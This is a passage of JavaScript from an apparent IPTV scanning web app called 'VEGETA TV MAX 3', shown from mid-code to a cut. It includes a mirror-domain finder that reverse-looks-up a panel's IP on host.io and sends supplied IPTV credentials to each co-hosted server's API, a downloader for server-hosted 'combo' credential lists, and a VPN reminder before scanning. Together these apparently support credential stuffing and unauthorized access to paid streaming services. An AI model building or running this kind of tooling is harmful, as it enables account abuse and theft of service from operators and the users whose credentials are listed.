AJOUTÉ ⬆️⬆️⬆️ }catch(listErr){ renderM3UResult({ error: new Error(`${apiErr.message || apiErr} ${listErr && listErr.message ? ' / ' + listErr.message : ''}`) }); } }finally{ m3uAnalyzeBtn.disabled = false; } } if(m3uAnalyzeBtn){ m3uAnalyzeBtn.addEventListener('click', analyzeM3ULink); } if(m3uInput){ m3uInput.addEventListener('keydown', (ev)=>{ if((ev.ctrlKey || ev.metaKey) && ev.key === 'Enter') analyzeM3ULink(); }); } if(m3uClearBtn){ m3uClearBtn.addEventListener('click', ()=>{ if(m3uInput) m3uInput.value = ''; if(m3uResult) m3uResult.innerHTML = ''; }); } /* ===== Recherche de domaines miroirs ===== */ const mirrorInput = $('mirrorInput'); const mirrorAnalyzeBtn = $('mirrorAnalyzeBtn'); const mirrorClearBtn = $('mirrorClearBtn'); const mirrorSaveBtn = $('mirrorSaveBtn'); const mirrorUseCors = $('mirrorUseCors'); const mirrorResult = $('mirrorResult'); let mirrorLastState = null; function mirrorSetLoading(text){ if(mirrorResult){ mirrorResult.innerHTML = `
${escapeHtml(text || t('mirrorLoading'))}
`; } } function mirrorCleanDomain(raw){ let text = String(raw || '').replace(/&/g, '&').trim(); const foundUrl = text.match(/https?:\/\/[^\s"'<>]+/i); if(foundUrl) text = foundUrl[0]; try{ const u = new URL(/^https?:\/\//i.test(text) ? text : ('http://' + text)); return (u.host || '').replace(/\/$/, '').toLowerCase(); }catch(_){ return text.replace(/^https?:\/\//i, '').replace(/\/.*$/, '').trim().toLowerCase(); } } function parseMirrorM3ULink(raw){ const normalized = normalizeMaybeUrl(raw); const url = new URL(normalized); const username = url.searchParams.get('username') || url.searchParams.get('user') || url.searchParams.get('usuario'); const password = url.searchParams.get('password') || url.searchParams.get('pass') || url.searchParams.get('senha'); if(!username || !password) throw new Error(t('missingM3UCredentials')); const port = Number(url.port || (url.protocol === 'https:' ? 443 : 80)); return { originalUrl: url.href, protocol: url.protocol, domain: url.hostname, host: url.host, port, path: url.pathname || '/get.php', query: url.search ? url.search.slice(1) : '', username, password }; } function mirrorNetloc(domain, info){ const port = Number(info.port || (info.protocol === 'https:' ? 443 : 80)); if((info.protocol === 'http:' && port === 80) || (info.protocol === 'https:' && port === 443)) return domain; return `${domain}:${port}`; } function mirrorBaseUrl(info, domain){ return `${info.protocol}//${mirrorNetloc(domain, info)}`; } function mirrorApiCategoriesUrl(info, domain){ return `${mirrorBaseUrl(info, domain)}/player_api.php?username=${encodeURIComponent(info.username)}&password=${encodeURIComponent(info.password)}&action=get_live_categories`; } function mirrorPlaylistUrl(info, domain){ const base = mirrorBaseUrl(info, domain); const query = info.query || `username=${encodeURIComponent(info.username)}&password=${encodeURIComponent(info.password)}&type=m3u_plus`; return `${base}${info.path || '/get.php'}${query ? '?' + query : ''}`; } function mirrorStatusAccepted(resp, acceptStatuses){ if(!resp) return false; if(resp.ok) return true; return Array.isArray(acceptStatuses) && acceptStatuses.includes(resp.status); } async function mirrorFetchResponse(url, timeout = 12000, acceptStatuses = []){ const baseOpts = { cache:'no-store', keepalive:false, timeout }; // Important pour host.io : comme dans MIRROR_MAGIC_v2.py, la page /ip/... // peut répondre HTTP 404 tout en contenant la liste des domaines à parser. // On ne doit donc pas jeter automatiquement une réponse non-2xx lorsque // son code est explicitement accepté par l'appelant. try{ const direct = await fetchTimeout(url, baseOpts); if(mirrorStatusAccepted(direct, acceptStatuses)) return direct; if(!(mirrorUseCors && mirrorUseCors.checked)) return direct; }catch(e){ if(!(mirrorUseCors && mirrorUseCors.checked)) throw e; } const pool = Array.isArray(CORS_PROXIES) ? CORS_PROXIES : []; let lastStatus = null; for(const tpl of pool){ try{ const proxied = tpl.includes('{url}') ? tpl.replace('{url}', encodeURIComponent(url)) : (tpl + encodeURIComponent(url)); const resp = await fetchTimeout(proxied, baseOpts); if(resp) lastStatus = resp.status; if(mirrorStatusAccepted(resp, acceptStatuses)) return resp; }catch(_){ } } throw new Error(lastStatus ? `Lecture impossible depuis le navigateur/proxy CORS · HTTP ${lastStatus}` : 'Lecture impossible depuis le navigateur ou les proxies CORS.'); } async function mirrorText(url, timeout = 12000, acceptStatuses = []){ const resp = await mirrorFetchResponse(url, timeout, acceptStatuses); if(!mirrorStatusAccepted(resp, acceptStatuses)) throw new Error(`HTTP ${resp ? resp.status : '—'}`); return await resp.text(); } async function mirrorJson(url, timeout = 10000, acceptStatuses = []){ const resp = await mirrorFetchResponse(url, timeout, acceptStatuses); if(!mirrorStatusAccepted(resp, acceptStatuses)) throw new Error(`HTTP ${resp ? resp.status : '—'}`); return await resp.json(); } function mirrorExtractHostioDomains(html){ const out = []; const add = (value)=>{ const d = String(value || '').trim().toLowerCase(); if(!d || !d.includes('.') || d.includes('/') || d.length > 253) return; if(!out.includes(d)) out.push(d); }; let re = /([^<]+)<\/a>/gi; let m; while((m = re.exec(html)) !== null) add(m[2] || m[1]); re = /
  • \s*]*>([^<]+)<\/a>/gi; while((m = re.exec(html)) !== null) add(m[1]); if(!out.length){ re = /href="\/([a-z0-9.-]+\.[a-z]{2,})"/gi; while((m = re.exec(html)) !== null) add(m[1]); } return out; } async function mirrorSleep(ms){ return new Promise(resolve => setTimeout(resolve, ms)); } async function mirrorReverseIpLookupHostio(ip){ const url = `https://host.io/ip/${encodeURIComponent(ip)}`; // Même comportement que le script Python : 3 essais et acceptation de 200 OU 404. // host.io peut renvoyer 404 pour /ip/ tout en affichant une page HTML avec // les domaines trouvés ; c'était la raison de l'erreur vue dans le navigateur. let lastError = ''; for(let attempt = 1; attempt <= 3; attempt++){ try{ const html = await mirrorText(url, 18000, [200, 404]); const domains = mirrorExtractHostioDomains(html); if(domains.length) return domains; if(/0\s+domains?/i.test(html)) return []; lastError = 'aucun domaine lisible dans la page host.io'; }catch(err){ lastError = err && err.message ? err.message : String(err); } if(attempt < 3) await mirrorSleep(1500); } if(lastError) console.warn('host.io reverse IP:', lastError); return []; } function mirrorCategoryNames(items){ if(!Array.isArray(items)) return []; const names = []; for(const item of items){ const name = item && (item.category_name || item.name || item.title) ? String(item.category_name || item.name || item.title).trim() : ''; if(name && !names.includes(name)) names.push(name); } return names; } function mirrorNormalizeCategory(name){ return String(name || '').toLowerCase().replace(/[^a-z0-9à-ÿ]/gi, ''); } function mirrorNormalizeCategorySet(cats){ const set = new Set(); for(const cat of cats || []){ const n = mirrorNormalizeCategory(cat); if(n) set.add(n); } return set; } function mirrorCompareCategories(baseCats, testCats){ const base = mirrorNormalizeCategorySet(baseCats); const cand = mirrorNormalizeCategorySet(testCats); if(!base.size || !cand.size) return {similar:false, score:0, inter:0, union:0}; let inter = 0; for(const x of base){ if(cand.has(x)) inter++; } const unionSet = new Set([...base, ...cand]); const score = unionSet.size ? inter / unionSet.size : 0; const similar = inter >= 3 || (inter >= 2 && score >= 0.55); return { similar, score, inter, union: unionSet.size }; } async function mirrorGetCategoriesViaApi(info, domain){ const data = await mirrorJson(mirrorApiCategoriesUrl(info, domain), 10000); return mirrorCategoryNames(Array.isArray(data) ? data : []); } async function mirrorGetCategoriesViaPlaylist(info, domain){ const text = await mirrorText(mirrorPlaylistUrl(info, domain), 12000); if(!/^\s*#EXTM3U/i.test(text) && !/#EXTINF/i.test(text)) return []; return mirrorCategoryNames(categoriesFromPlaylistText(text, 120)); } async function mirrorGetReferenceCategories(info){ try{ const apiCats = await mirrorGetCategoriesViaApi(info, info.domain); if(apiCats.length) return {cats: apiCats, method:'API player_api.php'}; }catch(_){ } const listCats = await mirrorGetCategoriesViaPlaylist(info, info.domain); return {cats: listCats, method:'Fichier M3U'}; } async function mirrorValidateDomain(info, domain, referenceCats){ let cats = []; let method = 'API'; try{ cats = await mirrorGetCategoriesViaApi(info, domain); }catch(_){ } if(!cats.length){ method = 'M3U'; try{ cats = await mirrorGetCategoriesViaPlaylist(info, domain); }catch(_){ } } if(!cats.length){ return {domain, ok:false, reason:t('mirrorNoCategories'), score:0, method}; } const cmp = mirrorCompareCategories(referenceCats, cats); if(cmp.similar){ return {domain, ok:true, reason:`${t('mirrorValidReason')} · ${Math.round(cmp.score * 100)}% · ${t('mirrorIntersection')} ${cmp.inter}`, score:cmp.score, method, url:mirrorPlaylistUrl(info, domain)}; } return {domain, ok:false, reason:`${t('mirrorSimilarityLow')} · ${Math.round(cmp.score * 100)}%`, score:cmp.score, method}; } function mirrorRenderState(state){ if(!mirrorResult) return; const statusClass = state.error ? 'bad' : (state.done ? 'good' : 'warn'); const statusText = state.error ? t('mirrorStatusError') : (state.done ? t('mirrorStatusDone') : t('mirrorStatusProgress')); const progress = state.total ? Math.round((state.processed / state.total) * 100) : (state.done ? 100 : 0); const validText = state.valid.length ? state.valid.map((x, i)=>`${i + 1}. ${x.domain}${state.portLabel || ''} · ${Math.round(x.score * 100)}% · ${x.method}\n${x.url || ''}`).join('\n\n') : (state.done ? t('mirrorNoValidDone') : t('mirrorNoValid')); const validClass = state.valid.length ? 'mirror-line-ok' : (state.done ? 'mirror-line-bad' : 'mirror-line-warn'); const foundText = state.domains.length ? state.domains.map((d, i)=>`${i + 1}. ${d}${state.portLabel || ''}`).join('\n') : t('mirrorNoDomains'); const logsText = state.logs.length ? state.logs.slice(-8).map(l => `${l.icon} ${l.text}`).join('\n') : t('mirrorWaiting'); mirrorResult.innerHTML = `
    ${statusClass === 'good' ? '✅' : (statusClass === 'bad' ? '❌' : '⏳')} ${escapeHtml(statusText)} ${escapeHtml(state.modeLabel || t('mirrorModeValidation'))}
    ${state.error ? `
    ${escapeHtml(state.error)}
    ` : ''}
    ${escapeHtml(t('mirrorSourceDomain'))}
    ${escapeHtml(state.domain || t('none'))}
    ${escapeHtml(t('mirrorDetectedIP'))}
    ${escapeHtml(state.ip || t('none'))}
    ${escapeHtml(t('mirrorReferenceCats'))}
    ${escapeHtml(state.referenceCats.length || t('none'))}
    ${escapeHtml(t('mirrorDomainsFound'))}
    ${escapeHtml(state.domains.length)}
    ${escapeHtml(t('mirrorValidCount'))}
    ${escapeHtml(state.valid.length)}
    ${escapeHtml(t('mirrorProgression'))}
    ${escapeHtml(state.processed)} / ${escapeHtml(state.total)}
    ${escapeHtml(t('mirrorValidatedTitle'))}
    ${escapeHtml(validText)}
    ${escapeHtml(t('mirrorSameIpTitle'))}
    ${escapeHtml(foundText)}
    ${escapeHtml(t('mirrorJournal'))}
    ${escapeHtml(logsText)}
    `; const validatedContent = document.getElementById('mirrorValidatedContent'); if(validatedContent && state.valid.length){ validatedContent.scrollTop = validatedContent.scrollHeight; } } function mirrorPushLog(state, icon, text){ state.logs.push({icon, text}); if(state.logs.length > 30) state.logs.shift(); mirrorRenderState(state); } async function mirrorRunQueue(items, concurrency, worker){ let index = 0; const runners = Array.from({length: Math.min(concurrency, items.length)}, async ()=>{ while(index < items.length){ const current = items[index++]; await worker(current); } }); await Promise.all(runners); } function mirrorSourceDomainForReport(state){ const raw = String((state && state.domain) || '').trim(); if(!raw) return t('none'); return raw.replace(/^https?:\/\//i, '').replace(/\/.*$/, ''); } function mirrorDomainWithoutPort(value){ const raw = String(value || '').trim().replace(/^https?:\/\//i, '').replace(/\/.*$/, ''); if(!raw) return ''; // IPv6 entre crochets : on garde tel quel. Pour les domaines classiques, // on retire uniquement un port final éventuel. if(raw.startsWith('[')) return raw.replace(/:\d+$/, ''); return raw.replace(/:\d+$/, ''); } function mirrorFormatDateForFile(){ const d = new Date(); const pad = n => String(n).padStart(2, '0'); return `${d.getFullYear()}-${pad(d.getMonth()+1)}-${pad(d.getDate())} ${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}`; } function mirrorDomainsForReport(state){ const out = []; const validItems = (state && Array.isArray(state.valid)) ? state.valid : []; for(const item of validItems){ const clean = mirrorDomainWithoutPort(item && item.domain); if(clean && !out.some(x => x.domain === clean)){ out.push({ domain: clean, score: Number(item.score || 0), method: item.method || '', url: item.url || '' }); } } return out; } function mirrorFoundDomainsForReport(state){ const out = []; const domains = (state && Array.isArray(state.domains)) ? state.domains : []; for(const domain of domains){ const clean = mirrorDomainWithoutPort(domain); if(clean && !out.includes(clean)) out.push(clean); } return out; } function mirrorIsM3UMode(state){ return !!(state && state.isM3U); } function mirrorPortLabelForReport(state){ return (state && state.portLabel) ? String(state.portLabel) : ''; } function mirrorDomainsToDownload(state){ if(mirrorIsM3UMode(state)){ return mirrorDomainsForReport(state).map(x => x.domain); } return mirrorFoundDomainsForReport(state); } function mirrorWrapReportText(text, prefix = '│ ', maxLen = 82){ const words = String(text || '').split(/\s+/).filter(Boolean); const lines = []; let line = prefix; for(const word of words){ const add = line.trim() === '' || line === prefix ? word : ' ' + word; if((line + add).length > maxLen && line !== prefix){ lines.push(line); line = prefix + word; }else{ line += add; } } if(line !== prefix) lines.push(line); return lines; } function mirrorBuildReport(state){ const source = mirrorSourceDomainForReport(state); const portLabel = mirrorPortLabelForReport(state); const isM3U = mirrorIsM3UMode(state); const domains = mirrorDomainsToDownload(state); const lines = []; lines.push('╭───✦ VEGETA TV MAX 3'); lines.push(`├● 🌐 Analyzed domain : ${source}`); lines.push(`├● 📡 IP address : ${state.ip || t('none')}`); lines.push(`├● 📅 Date : ${mirrorFormatDateForFile()}`); lines.push('│'); if(isM3U){ const cats = (state.referenceCats || []).filter(Boolean); lines.push('├● 📺 Category'); if(cats.length){ const catText = cats.join(' · '); lines.push(...mirrorWrapReportText(catText, '│ ', 86)); }else{ lines.push(`│ ${t('mirrorNoCategories')}`); } lines.push('│'); lines.push(`├● 🔎 Found mirror domains (${domains.length})`); }else{ lines.push(`├● 🔎 Found domains (${domains.length})`); } if(domains.length){ domains.forEach(domain => { const full = `${domain}${portLabel}`; lines.push(`│ ○ ${full}`); }); }else{ lines.push('│ ○ None'); } lines.push('╰──────────────────────────'); return lines.join('\n'); } function mirrorDownloadReport(){ if(!mirrorLastState) return; const domains = mirrorDomainsToDownload(mirrorLastState); if(!domains.length) return; const report = mirrorBuildReport(mirrorLastState); const safe = mirrorSourceDomainForReport(mirrorLastState).replace(/[^a-z0-9.-]/gi, '_') || 'domaines_miroirs'; universalSaveFile(`${safe}_miroirs_valides.txt`, report, 'text/plain;charset=utf-8'); } async function mirrorConfirmDownloadReport(state){ if(!state || state.savePromptShown) return; const domains = mirrorDomainsToDownload(state); if(!domains.length) return; state.savePromptShown = true; mirrorLastState = state; if(mirrorSaveBtn) mirrorSaveBtn.disabled = false; const confirmed = await askSaveResultsModal(domains.length, { titleKey: 'mirrorSavePromptTitle', textKey: 'mirrorSavePromptText', countKey: mirrorIsM3UMode(state) ? 'mirrorSavePromptValidCount' : 'mirrorSavePromptDomainCount', yesKey: 'mirrorSavePromptYes', noKey: 'mirrorSavePromptNo' }); if(confirmed){ mirrorDownloadReport(); state.logs.push({icon:'⬇️', text:t('mirrorDownloaded')}); }else{ state.logs.push({icon:'ℹ️', text:t('mirrorSaveSkipped')}); } if(state.logs.length > 30) state.logs.shift(); mirrorRenderState(state); } async function analyzeMirrorDomains(){ if(!mirrorInput || !mirrorResult) return; const raw = mirrorInput.value.trim(); if(!raw){ mirrorResult.innerHTML = `
    ❌ ${escapeHtml(t('mirrorNoInput'))}
    `; return; } const state = { modeLabel: t('mirrorModeHostio'), domain: '', ip: '', domains: [], valid: [], rejected: [], logs: [], referenceCats: [], refMethod: '', total: 0, processed: 0, done: false, error: '', portLabel: '', savePromptShown: false, isM3U: false }; mirrorLastState = state; if(mirrorSaveBtn) mirrorSaveBtn.disabled = true; if(mirrorAnalyzeBtn) mirrorAnalyzeBtn.disabled = true; mirrorRenderState(state); let info = null; try{ try{ info = parseMirrorM3ULink(raw); state.domain = info.host; state.modeLabel = t('mirrorModeValidation'); state.isM3U = true; state.portLabel = (info.port && ![80,443].includes(Number(info.port))) ? `:${info.port}` : ''; mirrorPushLog(state, '🔗', t('mirrorM3UDetected')); }catch(_){ state.domain = mirrorCleanDomain(raw); state.modeLabel = t('mirrorModeDomainOnly'); state.isM3U = false; const simplePortMatch = String(state.domain || '').match(/:(\d+)$/); state.portLabel = simplePortMatch ? `:${simplePortMatch[1]}` : ''; mirrorPushLog(state, '🌐', t('mirrorDomainDetected')); } const domainForDns = info ? info.domain : mirrorCleanDomain(state.domain).split(':')[0]; mirrorPushLog(state, '▶', `${t('mirrorResolveIP')} ${domainForDns}…`); const ip = await resolveIP(domainForDns); if(!ip) throw new Error(t('mirrorIPNotResolved')); state.ip = ip; mirrorPushLog(state, '✅', `${t('mirrorIPFound')} : ${ip}`); mirrorPushLog(state, '▶', t('mirrorHostioSearch')); const found = await mirrorReverseIpLookupHostio(ip); // Comme dans MIRROR_MAGIC_v2.py, on garde aussi le domaine source dans le rapport // si host.io le retourne. Cela permet d'obtenir le même total que le fichier texte // original, par exemple 7 domaines au lieu de 6. state.domains = Array.from(new Set(found.filter(Boolean))).sort(); mirrorPushLog(state, state.domains.length ? '✅' : '⚠️', `${state.domains.length} ${t('mirrorDomainsSameIP')}`); if(!info){ state.done = true; mirrorPushLog(state, 'ℹ️', t('mirrorPasteFullM3U')); if(mirrorSaveBtn) mirrorSaveBtn.disabled = state.domains.length === 0; mirrorRenderState(state); await mirrorConfirmDownloadReport(state); return; } mirrorPushLog(state, '▶', t('mirrorReferenceFetch')); const ref = await mirrorGetReferenceCategories(info); state.referenceCats = ref.cats || []; state.refMethod = ref.method || ''; if(!state.referenceCats.length){ state.done = true; mirrorPushLog(state, '❌', t('mirrorReferenceMissing')); if(mirrorSaveBtn) mirrorSaveBtn.disabled = true; return; } mirrorPushLog(state, '✅', `${state.referenceCats.length} ${t('mirrorReferenceFound')}`); state.total = state.domains.length; state.processed = 0; if(!state.total){ state.done = true; mirrorPushLog(state, '⚠️', t('mirrorNoMirrorToTest')); return; } await mirrorRunQueue(state.domains, 6, async (domain)=>{ mirrorPushLog(state, '▶', `${t('mirrorTesting')} ${domain}${state.portLabel}…`); try{ const res = await mirrorValidateDomain(info, domain, state.referenceCats); if(res.ok){ state.valid.push(res); mirrorVibrateValidHit(); mirrorPushLog(state, '✅', `${domain} · ${res.reason}`); }else{ state.rejected.push(res); mirrorPushLog(state, '✖', `${domain} · ${res.reason}`); } }catch(err){ state.rejected.push({domain, ok:false, reason:err.message || String(err)}); mirrorPushLog(state, '✖', `${domain} · ${t('mirrorTestError')}`); }finally{ state.processed += 1; mirrorRenderState(state); } }); state.done = true; mirrorPushLog(state, '✅', `${t('mirrorFinished')} : ${state.valid.length} ${t('mirrorValidPlural')}`); if(mirrorSaveBtn) mirrorSaveBtn.disabled = state.valid.length === 0; await mirrorConfirmDownloadReport(state); }catch(err){ state.error = err.message || String(err); state.done = true; mirrorRenderState(state); }finally{ if(mirrorAnalyzeBtn) mirrorAnalyzeBtn.disabled = false; } } if(mirrorAnalyzeBtn){ mirrorAnalyzeBtn.addEventListener('click', analyzeMirrorDomains); } if(mirrorInput){ mirrorInput.addEventListener('keydown', (ev)=>{ if((ev.ctrlKey || ev.metaKey) && ev.key === 'Enter') analyzeMirrorDomains(); }); } if(mirrorClearBtn){ mirrorClearBtn.addEventListener('click', ()=>{ if(mirrorInput) mirrorInput.value = ''; if(mirrorResult) mirrorResult.innerHTML = ''; mirrorLastState = null; if(mirrorSaveBtn) mirrorSaveBtn.disabled = true; }); } if(mirrorSaveBtn){ mirrorSaveBtn.addEventListener('click', mirrorDownloadReport); } /* ===== HAMBURGER MENU ===== */ const hamburgerBtn = document.getElementById('hamburgerBtn'); const hamburgerMenu = document.getElementById('hamburgerMenu'); const menuComboBtn = document.getElementById('menuComboBtn'); const menuComboLabel = document.getElementById('menuComboLabel'); const menuLangLabel = document.getElementById('menuLangLabel'); // Ouvrir/fermer le menu hamburger function toggleHamburgerMenu() { const isOpen = hamburgerMenu.classList.contains('open'); if (isOpen) { closeHamburgerMenu(); } else { openHamburgerMenu(); } } function openHamburgerMenu() { hamburgerMenu.classList.add('open'); hamburgerBtn.classList.add('active'); hamburgerBtn.setAttribute('aria-expanded', 'true'); // Mettre à jour les labels selon la langue if (menuLangLabel) menuLangLabel.textContent = t('menuLangLabel') || 'Langue'; if (menuComboLabel) menuComboLabel.textContent = t('menuComboLabel') || 'Télécharger combo'; } function closeHamburgerMenu() { hamburgerMenu.classList.remove('open'); hamburgerBtn.classList.remove('active'); hamburgerBtn.setAttribute('aria-expanded', 'false'); } if (hamburgerBtn) { hamburgerBtn.addEventListener('click', (e) => { e.stopPropagation(); toggleHamburgerMenu(); }); } // Fermer le menu quand on clique ailleurs document.addEventListener('click', (e) => { if (hamburgerMenu && hamburgerMenu.classList.contains('open')) { if (!hamburgerMenu.contains(e.target) && e.target !== hamburgerBtn) { closeHamburgerMenu(); } } }); // Fermer avec Escape document.addEventListener('keydown', (e) => { if (e.key === 'Escape') { closeHamburgerMenu(); closeComboModal(); } }); // Clic sur un item du menu if (hamburgerMenu) { hamburgerMenu.addEventListener('click', (e) => { const item = e.target.closest('.hamburger-menu-item'); if (!item) return; const type = item.dataset.type; if (type === 'lang') { const lang = item.dataset.lang; if (lang && SUPPORTED_LANGS.includes(lang)) { LANG = lang; document.documentElement.setAttribute('lang', LANG); if (langSelect) langSelect.value = LANG; applyLang(); const visiblePage = document.querySelector('.app-page:not(.page-hidden)'); if (visiblePage) restartPageKickerAnimation(visiblePage); } closeHamburgerMenu(); } else if (type === 'combo') { closeHamburgerMenu(); openComboModal(); } }); } /* ===== MODAL COMBO ===== */ const comboModal = document.getElementById('comboModal'); const comboModalClose = document.getElementById('comboModalClose'); const comboList = document.getElementById('comboList'); const comboProgressContainer = document.getElementById('comboProgressContainer'); const comboProgressFile = document.getElementById('comboProgressFile'); const comboProgressPercent = document.getElementById('comboProgressPercent'); const comboProgressFill = document.getElementById('comboProgressFill'); const comboProgressSpeed = document.getElementById('comboProgressSpeed'); const comboProgressStatus = document.getElementById('comboProgressStatus'); let comboDownloadAbortController = null; function openComboModal() { if (!comboModal) return; comboModal.classList.add('combo-modal-visible'); comboModal.setAttribute('aria-hidden', 'false'); loadComboList(); if (comboModalClose) { setTimeout(() => comboModalClose.focus(), 100); } } function closeComboModal() { if (!comboModal) return; comboModal.classList.remove('combo-modal-visible'); comboModal.setAttribute('aria-hidden', 'true'); // Annuler tout téléchargement en cours if (comboDownloadAbortController) { comboDownloadAbortController.abort(); comboDownloadAbortController = null; } } if (comboModalClose) { comboModalClose.addEventListener('click', closeComboModal); } if (comboModal) { comboModal.addEventListener('click', (e) => { if (e.target === comboModal) closeComboModal(); }); } // Charger la liste des combos depuis le serveur async function loadComboList() { if (!comboList) return; comboList.innerHTML = `
    ${t('comboLoading') || 'Chargement des combos…'}
    `; try { const response = await fetch('./list_combos.php', { method: 'GET', cache: 'no-store' }); if (!response.ok) throw new Error('HTTP ' + response.status); const data = await response.json(); if (!data.success || !data.files || data.files.length === 0) { comboList.innerHTML = `
    📂 ${t('comboEmpty') || 'Aucun combo disponible'}
    `; return; } comboList.innerHTML = ''; data.files.forEach((file, index) => { const item = document.createElement('div'); item.className = 'combo-item'; item.style.animationDelay = `${index * 60}ms`; item.innerHTML = `
    ${escapeHtml(file.name)}
    📦 ${escapeHtml(file.sizeFormatted)} 🔢 ${file.comboCount} combos 📅 ${escapeHtml(file.modifiedFormatted)}
    ⬇️
    `; item.addEventListener('click', () => downloadCombo(file)); comboList.appendChild(item); }); } catch (err) { comboList.innerHTML = `
    ⚠️ ${t('comboError') || 'Erreur de chargement'}
    ${escapeHtml(err.message)}
    `; } } // Télécharger un combo avec barre de progression en temps réel (Streams API) async function downloadCombo(fileInfo) { if (!fileInfo || !fileInfo.downloadUrl) return; // Annuler tout téléchargement précédent if (comboDownloadAbortController) { comboDownloadAbortController.abort(); } comboDownloadAbortController = new AbortController(); // Afficher la barre de progression if (comboProgressContainer) { comboProgressContainer.classList.add('active'); } if (comboProgressFile) comboProgressFile.textContent = fileInfo.name; if (comboProgressPercent) comboProgressPercent.textContent = '0%'; if (comboProgressFill) comboProgressFill.style.width = '0%'; if (comboProgressSpeed) comboProgressSpeed.textContent = '0 KB/s'; if (comboProgressStatus) { comboProgressStatus.classList.remove('combo-progress-status-done'); comboProgressStatus.querySelector('.combo-progress-status-text').textContent = t('comboDownloading') || 'Téléchargement…'; } const startTime = performance.now(); let downloadedBytes = 0; let lastUpdateTime = startTime; let lastDownloaded = 0; try { const response = await fetch(fileInfo.downloadUrl, { signal: comboDownloadAbortController.signal, cache: 'no-store' }); if (!response.ok) throw new Error('HTTP ' + response.status); const contentLength = parseInt(response.headers.get('Content-Length') || '0'); const reader = response.body.getReader(); const chunks = []; while (true) { const { done, value } = await reader.read(); if (done) break; chunks.push(value); downloadedBytes += value.length; // Mettre à jour la progression toutes les 80ms max const now = performance.now(); if (now - lastUpdateTime > 80) { const elapsed = (now - lastUpdateTime) / 1000; const bytesSinceLast = downloadedBytes - lastDownloaded; const speed = bytesSinceLast / elapsed; const percent = contentLength > 0 ? Math.min(100, (downloadedBytes / contentLength) * 100) : 0; updateComboProgress(percent, speed, downloadedBytes, contentLength); lastUpdateTime = now; lastDownloaded = downloadedBytes; } } // Finaliser à 100% updateComboProgress(100, 0, downloadedBytes, contentLength); // Assembler le fichier et le sauvegarder via APK Android Studio, Kodular ou navigateur. const totalLength = chunks.reduce((sum, chunk) => sum + chunk.length, 0); const merged = new Uint8Array(totalLength); let offset = 0; for (const chunk of chunks) { merged.set(chunk, offset); offset += chunk.length; } const textContent = new TextDecoder('utf-8').decode(merged); universalSaveFile( fileInfo.name || 'combos.txt', textContent, 'text/plain;charset=utf-8' ); // Marquer comme terminé if (comboProgressStatus) { comboProgressStatus.classList.add('combo-progress-status-done'); comboProgressStatus.querySelector('.combo-progress-status-text').textContent = t('comboDone') || 'Terminé ✓'; } if (comboProgressPercent) comboProgressPercent.textContent = '100%'; if (comboProgressFill) comboProgressFill.style.width = '100%'; if (comboProgressSpeed) comboProgressSpeed.textContent = formatBytes(downloadedBytes) + ' total'; // Masquer la barre après 2.5s setTimeout(() => { if (comboProgressContainer) comboProgressContainer.classList.remove('active'); }, 2500); } catch (err) { if (err.name === 'AbortError') { // Téléchargement annulé if (comboProgressStatus) { comboProgressStatus.querySelector('.combo-progress-status-text').textContent = t('comboCancelled') || 'Annulé'; } } else { if (comboProgressStatus) { comboProgressStatus.querySelector('.combo-progress-status-text').textContent = t('comboError') || 'Erreur'; } console.error('Combo download error:', err); } setTimeout(() => { if (comboProgressContainer) comboProgressContainer.classList.remove('active'); }, 2000); } finally { comboDownloadAbortController = null; } } function updateComboProgress(percent, speedBytesPerSec, downloaded, total) { if (comboProgressPercent) { comboProgressPercent.textContent = percent.toFixed(1) + '%'; } if (comboProgressFill) { comboProgressFill.style.width = percent + '%'; } if (comboProgressSpeed) { comboProgressSpeed.textContent = formatBytes(speedBytesPerSec) + '/s'; } } function formatBytes(bytes) { if (bytes === 0) return '0 B'; const k = 1024; const sizes = ['B', 'KB', 'MB', 'GB']; const i = Math.floor(Math.log(bytes) / Math.log(k)); return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; } function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; } /* ===== TRADUCTIONS MENU & COMBO ===== */ // Ajouter les traductions manquantes Object.assign(i18n.en, { menuLangLabel: 'Language', menuComboLabel: 'Download combo', comboLoading: 'Loading combos…', comboEmpty: 'No combos available', comboError: 'Loading error', comboDownloading: 'Downloading…', comboDone: 'Done ✓', comboCancelled: 'Cancelled', comboModalTitle: 'Available combos' }); Object.assign(i18n.es, { menuLangLabel: 'Idioma', menuComboLabel: 'Descargar combo', comboLoading: 'Cargando combos…', comboEmpty: 'No hay combos disponibles', comboError: 'Error de carga', comboDownloading: 'Descargando…', comboDone: 'Completado ✓', comboCancelled: 'Cancelado', comboModalTitle: 'Combos disponibles' }); Object.assign(i18n.fr, { menuLangLabel: 'Langue', menuComboLabel: 'Télécharger combo', comboLoading: 'Chargement des combos…', comboEmpty: 'Aucun combo disponible', comboError: 'Erreur de chargement', comboDownloading: 'Téléchargement…', comboDone: 'Terminé ✓', comboCancelled: 'Annulé', comboModalTitle: 'Combos disponibles' }); Object.assign(i18n.it, { menuLangLabel: 'Lingua', menuComboLabel: 'Scarica combo', comboLoading: 'Caricamento combo…', comboEmpty: 'Nessun combo disponibile', comboError: 'Errore di caricamento', comboDownloading: 'Download in corso…', comboDone: 'Completato ✓', comboCancelled: 'Annullato', comboModalTitle: 'Combo disponibili' }); /* ===== Rappel VPN avant scan : une seule fois avec localStorage ===== */ const VPN_WARNING_STORAGE_KEY = 'vegetaVpnWarningSeenV1'; let vpnWarningTimer = null; let vpnWarningScrollArmed = false; function vpnWarningAlreadySeen(){ try{ return localStorage.getItem(VPN_WARNING_STORAGE_KEY) === '1'; }catch(_){ return false; } } function markVpnWarningSeen(){ try{ localStorage.setItem(VPN_WARNING_STORAGE_KEY, '1'); }catch(_){ } } function cleanupVpnWarningTriggers(){ if(vpnWarningTimer){ window.clearTimeout(vpnWarningTimer); vpnWarningTimer = null; } if(vpnWarningScrollArmed){ window.removeEventListener('scroll', checkVpnWarningNearStartButton, true); window.removeEventListener('resize', checkVpnWarningNearStartButton, true); vpnWarningScrollArmed = false; } } function showVpnWarningModal(){ if(!vpnWarningModal || vpnWarningAlreadySeen() || !isScanPageCurrentlyVisible()) return; cleanupVpnWarningTriggers(); vpnWarningModal.classList.add('vpn-modal-visible'); vpnWarningModal.setAttribute('aria-hidden', 'false'); if(vpnWarningOkBtn){ window.setTimeout(()=> vpnWarningOkBtn.focus({ preventScroll: true }), 80); } } function closeVpnWarningModal(){ if(!vpnWarningModal) return; markVpnWarningSeen(); cleanupVpnWarningTriggers(); vpnWarningModal.classList.remove('vpn-modal-visible'); vpnWarningModal.setAttribute('aria-hidden', 